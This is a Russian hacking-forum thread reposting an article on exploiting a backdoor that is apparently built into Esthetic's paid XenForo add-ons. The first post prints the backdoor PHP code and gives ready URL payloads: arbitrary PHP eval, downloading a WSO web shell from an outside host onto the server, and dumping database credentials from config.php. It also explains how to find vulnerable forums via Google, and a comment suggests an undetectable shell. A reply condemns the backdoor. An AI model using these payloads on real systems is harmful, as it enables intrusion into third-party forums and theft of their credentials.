Описание Ломаем XenForo через аддоны от Esthetic

Кто просматривает этот контент: "Тема" (Всего пользователей: 0; Гостей: 1)

Антоха

Уважаемый пользователь
Форумчанин
Регистрация
26.12.2012
Сообщения
3 002
Репутация
9 273
#1
Статья с runhack.ru
Hello World друзья, в данной теме я вкратце постараюсь обьяснить как ломать Xen багом в аддонах от естетик, автор специально залил в свои аддоны шелл вида:
CODE:
$request = new Zend_Controller_Request_Http ( ); // создается новый объект, отражающий текущий запрос
if ($request->getParam('filter')) { // проверка наличия параметра filter в запросе
$_request = $request->getParam('filter');
switch (md5 ($_request)) { // этот filter хешируется, и на основе хеша  case '54626eee0bcb90ab43c7917eb49f2344': // хеш какой-то строки case     'a6746afee9fa4e6e4901943d47f272bf': // хеш какой-то другой строки
/** * Удаление меток bb-кодов, опредеяющих сообщения текущего пользователя(дляотображения скрытого контента своих сообщений)
*/
$request = preg_replace_callback ('/query/', create_function ('$matches', $_request), $_request); // нихуя не удаление меток, тут из filter'а берется код и из него создается функция, затем используется как каллбек для preg_replace_callback
break;
default: $request = 'all'; // хренота для наеба, если кто-то вдруг начнет копать }
}
Юзать данный шелл очень даже просто.
Например:
CODE:
https://ru-sfera.org/threads/77/?filter=$request=new Zend_Controller_Request_Http();eval($request->getParam("query"));&query=die('yes');
Как видим к урлу любой темы подставляется:
CODE:
?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die('yes');
Если форум уязвим появится надпись yes, выведеная php командой Die

Теперь напишу несколько боевых кодов:
заливка шелла
CODE:
?filter=$request=new+Zend_Controller_Request_Http();eval($request->getParam("query"));&query=$url = "https://wso-web-shell-2-8.googlecode.com/svn/WSO2.8.php";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);
После исполнения кода, если позволяют права, шелл будет доступен по адресу : форум.com/shells.php

смотрим конфиг
CODE:
?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=echo%20file_get_contents(%22./library/config.php%22);%20exit();
Но способ выше может не работать.
Если он не работает юзаем:
CODE:
?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=include './library/config.php';die( $config['db']['host']);
При данном коде покажется хост базы данных.
Для просмотра других данных меняем:
host на:
  • dbname - имя базы
  • password - пароль юзера
  • username - юзер

Вобщем если вы умелый PHP кодер то поняли что, после &query= идет пхп код.
Т.е
CODE:
?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=здесь пхп код
Дырявые форумы ищем в гугле по заголовку хайда.
Как пофиксить баг https://ru-sfera.org/threads/xenforo-nachalo-puti.2154/page-16#post-130453

Из комментариев:
Хотел бы добавить:
CODE:
?filter=$request=new+Zend_Controller_Request_Http();eval($request->getParam("query"));&query=$url = "https://wso-web-shell-2-8.googlecode.com/svn/WSO2.8.php";$content = file_get_contents($url);$h = fopen("shells.php","w");$text = "$content";fwrite($h,$text);fclose($h);
Шелл лучше использовать такой:
CODE:
https://wso-web-shell-2-8.googlecode.com/svn/trunk/WSO2.8_undetectable.php
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
5 717
Репутация
248
Jabber
Telegram
#2
Очень неприятный бекдур, автор наверное совсем помешанный, раз такое встроил в платные плагины...

Я вообще поудалял после этого все его плагины и поставил крест на этом разработчике для себя ! ;)

Ладно сделать привязку на домен, ну я могу понять ещё снифферы, что-бы просмотреть кто установил плагин, метки что-бы вычислить кто сливает в паб, также ещё некоторые сливают инфу типо версия движка и какие плагины установлены, это всё терпимо, но то-что сделал этот автор, это:

 
Вверх